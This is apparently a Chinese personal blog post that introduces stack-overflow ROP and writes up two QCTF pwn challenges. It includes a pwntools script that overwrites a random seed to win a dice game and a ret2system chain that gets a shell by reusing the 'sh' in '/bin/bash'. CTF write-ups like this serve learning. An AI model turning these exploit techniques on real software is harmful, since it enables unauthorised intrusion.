栈溢出ROP入门&QCTF

To begin with

最近试着学一些二进制的内容,查了很多资料,还是选择从ctf-wiki开始。
https://ctf-wiki.github.io/ctf-wiki/pwn/stackoverflow/stack_intro/

Note

栈布局:

High Addr
  ...
Argument n
  ...
Argument 1
Ret Addr
E(R)BP
Local Var 1
  ...
Local Var n

相关函数

调用(call):将当前的指令指针EIP(该指针指向紧接在call指令后的下条指令)压入堆栈,以备返回时能恢复执行下条指令;然后设置EIP指向被调函数代码开始处,以跳转到被调函数的入口地址执行。

离开(leave): 恢复主调函数的栈帧以准备返回。等价于指令序列movl %ebp, %esp(恢复原ESP值,指向被调函数栈帧开始处)和popl %ebp(恢复原ebp的值,即主调函数帧基指针)。

返回(ret):与call指令配合,用于从函数或过程返回。从栈顶弹出返回地址(之前call指令保存的下条指令地址)到EIP寄存器中,程序转到该地址处继续执行(此时ESP指向进入函数时的第一个参数)。若带立即数,ESP再加立即数(丢弃一些在执行call前入栈的参数)。使用该指令前,应使当前栈顶指针所指向位置的内容正好是先前call指令保存的返回地址。

C调用栈可参考其中两个链接,其余内容不再抄一遍了..

QCTF

dice-game

FvLQrapdcUfEfdY8OZqTRGzlJ7ZI

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled

可以看出来是一个随机数游戏,大概需要预测随机数。但是我们可以发现栈溢出可以直接覆盖到种子值,覆盖为0,长度大于0x40,小于0x50(0x41h)。
写一个生成函数

#include <stdio.h>
#include <stdlib.h>

int main() {
    int i = 0;
	srand(0);

    for (i = 0; i < 50; i++) {
		printf("%d\n", rand()%6+1);
    }
    return 0;
}
from pwn import *
from subprocess import *

sh=remote("47.96.239.28",2333)
#sh=process('./dice_game')
print sh.recvuntil(":")
sh.send((p64(0)*9))

for i in xrange(50):
    sh.recvuntil(":")
    num=check_output("./time")
    sh.send(num)
sh.interactive()

stack2

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

除了PIE基本都开了...
功能是一个求平均数的计算器,关注到一个任意地址写

      char v13[100]; // [esp+38h] [ebp-70h]

      puts("which number to change:");
      __isoc99_scanf("%d", &v5);
      puts("new number:");
      __isoc99_scanf("%d", &v7);
      v13[v5] = v7;

以及一个后门函数0x0804859B,直接调用了system("/bin/bash"),由于没开PIE,可以直接跳到这个地址。

想法是直接任意地址写RET地址,计算栈偏移后写地址。
本地测试成功,远程提示sh:/bin/bash no such file or..
居然没有这个文件。

之后发现如果写一个/bin/sh,但是不知道栈地址,也没有其他段,libc也没有。最终想到如果bash不在这个/bin/下面呢。

.plt:08048450 _system         proc near               ; CODE XREF: hackhere+19↓p
.plt:08048450
.plt:08048450 command         = dword ptr  4
.plt:08048450
.plt:08048450                 jmp     ds:off_804A018
.plt:08048450 _system         endp
.rodata:08048980 ; char byte_8048980[]
.rodata:08048980 byte_8048980    db 2Fh                  ; DATA XREF: hackhere+14↑o
.rodata:08048981                 db  62h ; b
.rodata:08048982                 db  69h ; i
.rodata:08048983                 db  6Eh ; n
.rodata:08048984                 db  2Fh ; /
.rodata:08048985                 db  62h ; b
.rodata:08048986                 db  61h ; a
.rodata:08048987                 db  73h ; s
.rodata:08048988                 db  68h ; h
.rodata:08048989                 db    0

构造栈布局:
[system_plt , ret_addr , &"/bin/bash"[5]]
仍然提示不存在,之后大佬说了句改成sh呢?
[system_plt , ret_addr , &"/bin/bash"[7]]
getshell。

waiting to be updated...

Something useless

鸽了博客有两个月了...
这两个月也经历了很多吧,认识到了很多不足,来来往往间也开始向未来思考,如何选择,又是一个艰难的问题。
水了几场比赛,本想对国赛和WCTF做个总结,结果发现能总结的太少太少。在国赛上发现了自己对python web了解太少.. 亏了。之后参加WCTF新锐赛发现一个web狗什么都不会(哇...web题都做不出来)...
cyber mimic wp

作者:xmsec
Chief Water dispenser Manager, delivering but striving.
GitHub